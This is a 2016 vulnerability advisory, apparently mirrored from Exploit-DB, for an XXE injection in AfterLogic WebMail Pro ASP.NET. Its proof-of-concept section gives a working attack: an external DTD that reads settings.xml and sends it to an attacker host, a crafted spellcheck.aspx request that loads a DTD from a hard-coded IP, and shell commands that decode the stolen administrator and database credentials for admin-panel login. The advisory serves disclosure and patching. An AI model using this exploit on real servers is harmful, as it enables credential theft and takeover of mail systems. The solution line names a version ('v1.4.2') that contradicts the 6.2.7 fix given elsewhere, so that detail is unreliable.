AfterLogic WebMail Pro ASP.NET 6.2.6 – Administrator Account Disclosure via XML External Entity Injection

  • 作者： Mehmet Ince
    日期： 2016-05-24
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  • 来源：https://www.exploit-db.com/exploits/39850/
  • 1. ADVISORY INFORMATION
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Title: AfterLogic WebMail Pro ASP.NET Administrator Account Takover via XXE
Injection
Application: AfterLogic WebMail Pro ASP.NET
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected: AfterLogic WebMail Pro ASP.NET < 6.2.7
Vendor URL: http://www.afterlogic.com/webmail-client-asp-net
Bugs:XXE Injection
Date of found:28.03.2016
Reported:22.05.2016
Vendor response: 22.05.2016
Date of Public Advisory: 23.05.2016
Author: Mehmet Ince


2. CREDIT
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This vulnerability was identified during penetration test
by Mehmet INCE & Halit Alptekin from PRODAFT / INVICTUS


3. VERSIONS AFFECTED
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AfterLogic WebMail Pro ASP.NET < 6.2.7


4. INTRODUCTION
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It seems that /webmail/spellcheck.aspx?xml= endpoint takes XML request as
an parameter and parse it with XML entities.
By abusing XML entities attackers can read Web.config file as well as
settings.xml that contains administrator account
credentials in plain-text.

5. TECHNICAL DETAILS & POC
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1 - Put following XML entity definition into your attacker server. E.g:
/var/www/html/test.dtd. Do NOT forget to change ATTACKER_SERVER_IP.

<!ENTITY % payl SYSTEM
"file://c:/inetpub/wwwroot/apps/webmail/app_data/settings/settings.xml">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM '
http://ATTACKER_SERVER_IP/?p=%payl;'>">

2 - Start reading access log on your attacker server.

tail -f /var/log/apache/access.log

3 - Send following HTTP GET request to the target.

http://TARGET_DOMAIN/webmail/spellcheck.aspx?xml=<?xml version="1.0"
encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://81.17.25.9/test.dtd">
%remote;
%int;
%trick;]>

4 - You will see the settings.xml content in your access log.
5 - In order to decode and see it in pretty format. Please follow
instruction in order.
5.1 - Create urldecode alias by executing following command.

alias urldecode='python -c "import sys, urllib as ul; \
print ul.unquote_plus(sys.argv[1])"'

5.2 - Get last line of access log and pass it to the urldecode.

root@hacker:/var/www/html# urldecode $(tail -n 1
/var/log/apache2/access.log|awk {'print $7'})
/?p=
<Settings>
<Common>
<SiteName>[SITE_NAME_WILL_BE_HERE]</SiteName>
<LicenseKey>[LICENSE_KEY]/LicenseKey>
<AdminLogin>[ADMINISTRATOR_USERNAME]</AdminLogin>
<AdminPassword>[ADMINISTRATOR_PASSWORD]</AdminPassword>
<DBType>MSSQL</DBType>
<DBLogin>WebMailUser</DBLogin>
<DBPassword>[DATABASE_PASSWORD]</DBPassword>
<DBName>Webmail</DBName>
<DBDSN>
</DBDSN>
<DBHost>localhost\SQLEXPRESS</DBHost>
....
....
...

6 - You can login by using these administration credentials.
Login panel is located at http://TARGET_DOMAIN/webmail/adminpanel/


6. RISK
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The vulnerability allows remote attackers to read sensitive information
from the server such as settings.xml or web.config which contains
administrator
account and database credentials.

7. SOLUTION
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Update to the latest version v1.4.2

8. REPORT TIMELINE
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28.03.2016: Vulnerability discovered during pentest
29.03.2016: Our client requested a time to mitigate their infrastructures
22.05.2016: First contact with vendor
22.05.2016: Vendor requested more technical details.
23.05.2016: Vendor publishes update with 6.2.7 release.
23.05.2016: Advisory released

9. REFERENCES
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https://twitter.com/afterlogic/status/734764320165400576


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Sr. Information Security Engineer
https://www.mehmetince.net